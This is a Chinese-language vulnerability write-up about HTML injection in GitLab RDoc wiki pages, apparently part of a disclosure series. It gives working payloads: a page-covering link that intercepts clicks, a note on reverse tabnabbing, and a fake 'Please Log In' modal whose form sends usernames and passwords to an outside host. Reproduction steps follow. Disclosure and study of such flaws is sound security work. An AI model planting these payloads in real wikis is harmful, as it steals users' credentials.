- 背景
- 复现步骤
gitlab漏洞系列-RDoc wiki页面中的存储型XSS
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
当创建一个RDoc wiki页面时,可以使用大量的html标签和属性,这些标签和属性通常是经过过滤的,当创建一个可链接的图片格式为{<img src>}[link]
例如,可以在创建图像链接时指定一个class属性:
{ <a href='https://aw.rs/users/signin' class='atwho-view select2-drop-mask pika-select'> <img height=10000 width=10000></a> }[a]
将产生以下内容:
<div class="md md-file"> <p>Full Page link</p> <p><a href="a" rel="nofollow"></a><a href="https://aw.rs/users/signin" class="atwho-view select2-drop-mask pika-select" rel="nofollow"><img height="10000" width="10000"></a></p> </div>
这将放置一个链接接管整个页面并拦截任何点击,atwhot -view select2-drop-mask pika-select
只是一些真正的类属性(class), 使链接的z-index值最大(注意:这个是css的知识,主要是使其处于最顶层)
目标属性也可以设置为_blank,由于没有rel="noopener",也可以使用反向选项卡。
另一种更可能奏效的攻击是在模式中创建一个表单,它可以用来提交用户名和密码:
a form { <div class="modal show d-block"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h3 class="page-title">Please Log In</h3> </div> <div class="modal-body"> <form class="new-wiki-page" action="http://aw.rs/"> <div class="form-group"> <label for="username"><span>Username</span></label> <input type="text" name="username" id="username" class="form-control"> <label for="password"><span>Password</span></label> <input type="password" name="password" id="password" class="form-control"> </div> <div class="form-actions"><button name="button" type="submit" class="btn btn-success">Login</button></div> </form> </div> </div> </div> </div> }[/]
当查看页面时将产生以下效果:
复现步骤
1.在gitlab上面创建一个wiki;
2.使用上述代码片段添加一个新的RDoc页面;
3.保存并等待有人点击它